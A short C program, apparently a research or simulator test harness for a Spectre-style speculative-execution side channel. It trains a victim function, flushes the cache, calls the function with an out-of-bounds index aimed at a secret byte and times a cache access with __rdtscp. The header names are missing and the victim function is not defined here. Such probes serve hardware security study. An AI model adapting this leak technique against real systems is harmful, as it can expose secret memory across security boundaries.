#include #include #include #include /* default: 64B line size, L1-D 64KB assoc 2, L1-I 32KB assoc 2, L2 2MB assoc 8 */ #define LLC_SIZE (2 << 20) uint8_t dummy[LLC_SIZE]; size_t array_size = 4; uint8_t array1[200] = {1, 2, 3, 4}; uint8_t array2[256 * 64 * 2]; uint8_t X; uint8_t temp = 1; void victim_function_v10(size_t x, uint8_t k); int main() { victim_function_v10(0, 0); victim_function_v10(0, 0); victim_function_v10(0, 0); victim_function_v10(0, 0); victim_function_v10(0, 0); memset(dummy, 1, sizeof(dummy)); // flush L2 X = 123; // set the secret value, and also bring it to cache _mm_mfence(); size_t attack_idx = &X - array1; victim_function_v10(attack_idx, 123); unsigned int junk; volatile uint8_t x; unsigned long time1 = __rdtscp(&junk); x ^= array2[0]; unsigned long time2 = __rdtscp(&junk); printf("%d\n", time2 - time1); }